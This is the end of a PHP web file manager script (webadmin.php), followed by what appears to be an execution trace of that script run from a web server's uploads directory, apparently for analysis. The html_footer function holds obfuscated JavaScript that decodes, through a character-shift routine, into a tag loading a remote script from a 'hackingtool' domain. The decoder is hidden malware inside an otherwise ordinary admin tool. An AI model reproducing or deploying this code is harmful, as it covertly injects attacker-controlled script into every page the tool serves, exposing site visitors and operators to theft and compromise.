            return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
    }
}
function html_header()
{
    global $site_charset;
    echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
}
function html_footer()
{
    echo "</body>\n</html>\n<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>";
}
function notice($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
    global $cols;
    $args = func_get_args();
    array_shift($args);
    return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}

Execution traces

data/traces/26810d06734beeab359d0faee10ab9fb_trace-1676255997.0834.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:40:22.981269]
1	0	1	0.000221	393528
1	3	0	0.002023	789248	{main}	1		/var/www/html/uploads/webadmin.php	0	0
1		A						/var/www/html/uploads/webadmin.php	131	$lang = 'auto'
1		A						/var/www/html/uploads/webadmin.php	136	$homedir = './'
1		A						/var/www/html/uploads/webadmin.php	140	$editcols = 80
1		A						/var/www/html/uploads/webadmin.php	141	$editrows = 25
1		A						/var/www/html/uploads/webadmin.php	159	$htaccess = '.htaccess'
1		A						/var/www/html/uploads/webadmin.php	160	$htpasswd = '.htpasswd'
2	4	0	0.002113	789248	get_magic_quotes_gpc	0		/var/www/html/uploads/webadmin.php	164	0
2	4	1	0.002127	789248
2	4	R			FALSE
2	5	0	0.002142	789248	array_key_exists	0		/var/www/html/uploads/webadmin.php	170	2	'image'	[]
2	5	1	0.002158	789312
2	5	R			FALSE
2	6	0	0.002171	789248	function_exists	0		/var/www/html/uploads/webadmin.php	175	1	'lstat'
2	6	1	0.002185	789288
2	6	R			TRUE
1		A						/var/www/html/uploads/webadmin.php	181	$delim = '/'
2	7	0	0.002217	789248	function_exists	0		/var/www/html/uploads/webadmin.php	183	1	'php_uname'
2	7	1	0.002233	789288
2	7	R			TRUE
2	8	0	0.002245	789248	substr	0		/var/www/html/uploads/webadmin.php	184	3	'Linux'	0	3
2	8	1	0.002260	789376
2	8	R			'Lin'
2	9	0	0.002273	789280	strtoupper	0		/var/www/html/uploads/webadmin.php	184	1	'Lin'
2	9	1	0.002286	789344
2	9	R			'LIN'
1		A						/var/www/html/uploads/webadmin.php	184	$win = FALSE
2	10	0	0.002313	789248	dirname	0		/var/www/html/uploads/webadmin.php	192	1	'/var/www/html/uploads/webadmin.php'
2	10	1	0.002326	789344
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/webadmin.php	192	$scriptdir = '/var/www/html/uploads'
2	11	0	0.002352	789312	relative2absolute	1		/var/www/html/uploads/webadmin.php	198	2	'./'	'/var/www/html/uploads'
3	12	0	0.002366	789312	path_is_relative	1		/var/www/html/uploads/webadmin.php	1080	1	'./'
4	13	0	0.002380	789336	substr	0		/var/www/html/uploads/webadmin.php	1094	3	'./'	0	1
4	13	1	0.002394	789432
4	13	R			'.'
3	12	1	0.002407	789336
3	12	R			TRUE
3	14	0	0.002421	789336	addslash	1		/var/www/html/uploads/webadmin.php	1081	1	'/var/www/html/uploads'
4	15	0	0.002434	789360	substr	0		/var/www/html/uploads/webadmin.php	1070	3	'/var/www/html/uploads'	-1	1
4	15	1	0.002447	789456
4	15	R			's'
3	14	1	0.002462	789408
3	14	R			'/var/www/html/uploads/'
3	16	0	0.002476	789416	simplify_path	1		/var/www/html/uploads/webadmin.php	1081	1	'/var/www/html/uploads/./'
4	17	0	0.002490	789416	file_exists	0		/var/www/html/uploads/webadmin.php	1121	1	'/var/www/html/uploads/./'
4	17	1	0.002513	789456
4	17	R			TRUE
4	18	0	0.002526	789416	function_exists	0		/var/www/html/uploads/webadmin.php	1121	1	'realpath'
4	18	1	0.002540	789456
4	18	R			TRUE
4	19	0	0.002552	789416	realpath	0		/var/www/html/uploads/webadmin.php	1121	1	'/var/www/html/uploads/./'
4	19	1	0.002565	789496
4	19	R			'/var/www/html/uploads'
4	20	0	0.002580	789416	realpath	0		/var/www/html/uploads/webadmin.php	1122	1	'/var/www/html/uploads/./'
4	20	1	0.002593	789496
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/webadmin.php	1122	$path = '/var/www/html/uploads'
4	21	0	0.002621	789464	is_dir	0		/var/www/html/uploads/webadmin.php	1123	1	'/var/www/html/uploads'
4	21	1	0.002637	789528
4	21	R			TRUE
4	22	0	0.002650	789488	addslash	1		/var/www/html/uploads/webadmin.php	1124	1	'/var/www/html/uploads'
5	23	0	0.002726	789488	substr	0		/var/www/html/uploads/webadmin.php	1070	3	'/var/www/html/uploads'	-1	1
5	23	1	0.002740	789584
5	23	R			's'
4	22	1	0.002754	789536
4	22	R			'/var/www/html/uploads/'
3	16	1	0.002768	789488
3	16	R			'/var/www/html/uploads/'
2	11	1	0.002782	789432
2	11	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/webadmin.php	198	$homedir = '/var/www/html/uploads/'
2	24	0	0.002808	789432	array_key_exists	0		/var/www/html/uploads/webadmin.php	200	2	'dir'	[]
2	24	1	0.002822	789496
2	24	R			FALSE
1		A						/var/www/html/uploads/webadmin.php	200	$dir = '/var/www/html/uploads/'
2	25	0	0.002846	789432	array_key_exists	0		/var/www/html/uploads/webadmin.php	202	2	'olddir'	[]
2	25	1	0.002860	789496
2	25	R			FALSE
2	26	0	0.002879	789432	addslash	1		/var/www/html/uploads/webadmin.php	206	1	'/var/www/html/uploads/'
3	27	0	0.002892	789432	substr	0		/var/www/html/uploads/webadmin.php	1070	3	'/var/www/html/uploads/'	-1	1
3	27	1	0.002905	789528
3	27	R			'/'
2	26	1	0.002919	789432
2	26	R			'/var/www/html/uploads/'
2	28	0	0.002933	789432	simplify_path	1		/var/www/html/uploads/webadmin.php	206	1	'/var/www/html/uploads/'
3	29	0	0.002946	789432	file_exists	0		/var/www/html/uploads/webadmin.php	1121	1	'/var/www/html/uploads/'
3	29	1	0.002962	789472
3	29	R			TRUE
3	30	0	0.002976	789432	function_exists	0		/var/www/html/uploads/webadmin.php	1121	1	'realpath'
3	30	1	0.002989	789472
3	30	R			TRUE
3	31	0	0.003001	789432	realpath	0		/var/www/html/uploads/webadmin.php	1121	1	'/var/www/html/uploads/'
3	31	1	0.003014	789512
3	31	R			'/var/www/html/uploads'
3	32	0	0.003029	789432	realpath	0		/var/www/html/uploads/webadmin.php	1122	1	'/var/www/html/uploads/'
3	32	1	0.003042	789512
3	32	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/webadmin.php	1122	$path = '/var/www/html/uploads'
3	33	0	0.003066	789480	is_dir	0		/var/www/html/uploads/webadmin.php	1123	1	'/var/www/html/uploads'
3	33	1	0.003078	789520
3	33	R			TRUE
3	34	0	0.003091	789480	addslash	1		/var/www/html/uploads/webadmin.php	1124	1	'/var/www/html/uploads'
4	35	0	0.003103	789480	substr	0		/var/www/html/uploads/webadmin.php	1070	3	'/var/www/html/uploads'	-1	1
4	35	1	0.003117	789576
4	35	R			's'
3	34	1	0.003130	789528
3	34	R			'/var/www/html/uploads/'
2	28	1	0.003144	789480
2	28	R			'/var/www/html/uploads/'
1		A						/var/www/html/uploads/webadmin.php	206	$directory = '/var/www/html/uploads/'
1		A						/var/www/html/uploads/webadmin.php	208	$files = []
1		A						/var/www/html/uploads/webadmin.php	209	$action = ''
2	36	0	0.003190	789480	array_key_exists	0		/var/www/html/uploads/webadmin.php	223	2	'num'	[]
2	36	1	0.003204	789544
2	36	R			FALSE
2	37	0	0.003217	789480	array_key_exists	0		/var/www/html/uploads/webadmin.php	232	2	'focus'	[]
2	37	1	0.003231	789544
2	37	R			FALSE
2	38	0	0.003244	789480	sizeof	0		/var/www/html/uploads/webadmin.php	242	1	[]
2	38	1	0.003257	789512
2	38	R			0
1		A						/var/www/html/uploads/webadmin.php	242	$action = ''
2	39	0	0.003280	789480	array_key_exists	0		/var/www/html/uploads/webadmin.php	245	2	'HTTP_ACCEPT_LANGUAGE'	['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/webadmin.php', 'REMOTE_PORT' => '52514', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/webadmin.php', 'SCRIPT_NAME' => '/uploads/webadmin.php', 'PHP_SELF' => '/uploads/webadmin.php', 'REQUEST_TIME_FLOAT' => 1676255997.083, 'REQUEST_TIME' => 1676255997]
2	39	1	0.003345	789544
2	39	R			FALSE
1		A						/var/www/html/uploads/webadmin.php	248	$lang = 'en'
2	40	0	0.003369	789480	getwords	1		/var/www/html/uploads/webadmin.php	252	1	'en'
2		A						/var/www/html/uploads/webadmin.php	1620	$word_charset = 'UTF-8'
2		A						/var/www/html/uploads/webadmin.php	2472	$date_format = 'n/j/y H:i:s'
2	40	1	0.003405	789528
2	40	R			['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/webadmin.php	252	$words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1		A						/var/www/html/uploads/webadmin.php	258	$cols = 7
2	41	0	0.003605	789528	function_exists	0		/var/www/html/uploads/webadmin.php	261	1	'umask'
2	41	1	0.003619	789568
2	41	R			TRUE
2	42	0	0.003633	789528	umask	0		/var/www/html/uploads/webadmin.php	261	0
2	42	1	0.003646	789528
2	42	R			18
1		A						/var/www/html/uploads/webadmin.php	261	$dirpermission = 493
2	43	0	0.003670	789528	function_exists	0		/var/www/html/uploads/webadmin.php	264	1	'umask'
2	43	1	0.003683	789568
2	43	R			TRUE
2	44	0	0.003697	789528	umask	0		/var/www/html/uploads/webadmin.php	264	0
2	44	1	0.003709	789528
2	44	R			18
1		A						/var/www/html/uploads/webadmin.php	264	$filepermission = 420
2	45	0	0.003733	789528	basename	0		/var/www/html/uploads/webadmin.php	268	1	'/uploads/webadmin.php'
2	45	1	0.003748	789600
2	45	R			'webadmin.php'
2	46	0	0.003763	789568	html	1		/var/www/html/uploads/webadmin.php	268	1	'webadmin.php'
3	47	0	0.003776	789592	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'webadmin.php'	2	NULL
3	47	1	0.003793	789864
3	47	R			'webadmin.php'
2	46	1	0.003807	789752
2	46	R			'webadmin.php'
1		A						/var/www/html/uploads/webadmin.php	268	$self = 'webadmin.php'
2	48	0	0.003832	789712	substr	0		/var/www/html/uploads/webadmin.php	276	3	'Apache/2.4.52 (Ubuntu)'	0	6
2	48	1	0.003847	789840
2	48	R			'Apache'
2	49	0	0.003860	789744	strtolower	0		/var/www/html/uploads/webadmin.php	276	1	'Apache'
2	49	1	0.003874	789808
2	49	R			'apache'
1		A						/var/www/html/uploads/webadmin.php	277	$apache = TRUE
2	50	0	0.003898	789712	listing_page	1		/var/www/html/uploads/webadmin.php	842	1	???
3	51	0	0.003911	789808	html_header	1		/var/www/html/uploads/webadmin.php	1184	0
3	51	1	0.003925	789808
3	52	0	0.003932	789808	getlist	1		/var/www/html/uploads/webadmin.php	1186	1	'/var/www/html/uploads/'
4	53	0	0.003946	789808	opendir	0		/var/www/html/uploads/webadmin.php	851	1	'/var/www/html/uploads/'
4	53	1	0.003966	790200
4	53	R			resource(4) of type (stream)
3		A						/var/www/html/uploads/webadmin.php	851	$d = resource(4) of type (stream)
4	54	0	0.003998	790168	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	54	1	0.004019	790248
4	54	R			'webadmin.php'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = 'webadmin.php'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/webadmin.php'
4	55	0	0.004055	790272	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/webadmin.php'
4	55	1	0.004071	792104
4	55	R			[0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 74983, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 152, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 74983, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 152]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 74983, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 152, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 74983, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 152]
4	56	0	0.004134	792760	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/webadmin.php'
4	56	1	0.004150	792816
4	56	R			TRUE
4	57	0	0.004163	792776	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/webadmin.php'
4	57	1	0.004176	792816
4	57	R			FALSE
4	58	0	0.004189	792776	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/webadmin.php'
4	58	1	0.004202	792816
4	58	R			FALSE
4	59	0	0.004215	792776	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/webadmin.php'
4	59	1	0.004231	792816
4	59	R			TRUE
4	60	0	0.004244	792776	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/webadmin.php'
4	60	1	0.004260	792816
4	60	R			FALSE
4	61	0	0.004274	792776	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/webadmin.php'
4	61	1	0.004291	792816
4	61	R			1676255997
4	62	0	0.004305	792776	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/webadmin.php'
4	62	1	0.004317	792816
4	62	R			1676255997
4	63	0	0.004330	792776	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/webadmin.php'
4	63	1	0.004342	792816
4	63	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	64	0	0.004382	792776	is_executable	0		/var/www/html/uploads/webadmin.php	880	1	'/var/www/html/uploads/webadmin.php'
4	64	1	0.004397	792816
4	64	R			FALSE
3		A						/var/www/html/uploads/webadmin.php	880	$file['is_executable'] = FALSE
4	65	0	0.004424	792776	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	65	1	0.004437	792816
4	65	R			TRUE
4	66	0	0.004450	792776	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	1000
4	66	1	0.004488	793592
4	66	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	67	0	0.004514	793560	reset	0		/var/www/html/uploads/webadmin.php	888	1	['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	67	1	0.004534	793968
4	67	R			'osboxes'
3		A						/var/www/html/uploads/webadmin.php	888	$file['owner_name'] = 'osboxes'
4	68	0	0.004560	792808	function_exists	0		/var/www/html/uploads/webadmin.php	889	1	'posix_getgrgid'
4	68	1	0.004574	792848
4	68	R			TRUE
4	69	0	0.004587	792808	posix_getgrgid	0		/var/www/html/uploads/webadmin.php	889	1	1000
4	69	1	0.004620	793464
4	69	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	70	0	0.004640	793432	reset	0		/var/www/html/uploads/webadmin.php	889	1	['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	70	1	0.004656	793840
4	70	R			'osboxes'
3		A						/var/www/html/uploads/webadmin.php	889	$file['group_name'] = 'osboxes'
3		A						/var/www/html/uploads/webadmin.php	891	$files[] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	71	0	0.004711	793856	readdir	0		/var/www/html/uploads/webadmin.php	853	1	resource(4) of type (stream)
4	71	1	0.004725	793928
4	71	R			'..'
3		A						/var/www/html/uploads/webadmin.php	853	$filename = '..'
3		A						/var/www/html/uploads/webadmin.php	855	$path = '/var/www/html/uploads/..'
4	72	0	0.004759	793944	lstat	0		/var/www/html/uploads/webadmin.php	857	1	'/var/www/html/uploads/..'
4	72	1	0.004776	795728
4	72	R			[0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/webadmin.php	857	$stat = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4	73	0	0.004836	794632	is_file	0		/var/www/html/uploads/webadmin.php	862	1	'/var/www/html/uploads/..'
4	73	1	0.004851	794664
4	73	R			FALSE
4	74	0	0.004864	794624	is_dir	0		/var/www/html/uploads/webadmin.php	863	1	'/var/www/html/uploads/..'
4	74	1	0.004877	794664
4	74	R			TRUE
4	75	0	0.004890	794624	is_link	0		/var/www/html/uploads/webadmin.php	864	1	'/var/www/html/uploads/..'
4	75	1	0.004903	794664
4	75	R			FALSE
4	76	0	0.004916	794624	is_readable	0		/var/www/html/uploads/webadmin.php	865	1	'/var/www/html/uploads/..'
4	76	1	0.004931	794664
4	76	R			TRUE
4	77	0	0.004943	794624	is_writable	0		/var/www/html/uploads/webadmin.php	866	1	'/var/www/html/uploads/..'
4	77	1	0.004958	794664
4	77	R			TRUE
4	78	0	0.004971	794624	filemtime	0		/var/www/html/uploads/webadmin.php	871	1	'/var/www/html/uploads/..'
4	78	1	0.004984	794664
4	78	R			1676255997
4	79	0	0.004997	794624	fileatime	0		/var/www/html/uploads/webadmin.php	872	1	'/var/www/html/uploads/..'
4	79	1	0.005010	794664
4	79	R			1676255997
4	80	0	0.005023	794624	filectime	0		/var/www/html/uploads/webadmin.php	873	1	'/var/www/html/uploads/..'
4	80	1	0.005041	794664
4	80	R			1676255997
3		A						/var/www/html/uploads/webadmin.php	873	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4	81	0	0.005080	794680	file_exists	0		/var/www/html/uploads/webadmin.php	877	1	'/var/www/html/uploads/../.'
4	81	1	0.005096	794720
4	81	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	877	$file['is_executable'] = TRUE
4	82	0	0.005121	794624	function_exists	0		/var/www/html/uploads/webadmin.php	888	1	'posix_getpwuid'
4	82	1	0.005135	794664
4	82	R			TRUE
4	83	0	0.005148	794624	posix_getpwuid	0		/var/www/html/uploads/webadmin.php	888	1	0
4	83	1	0.005171	795424
4	83	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
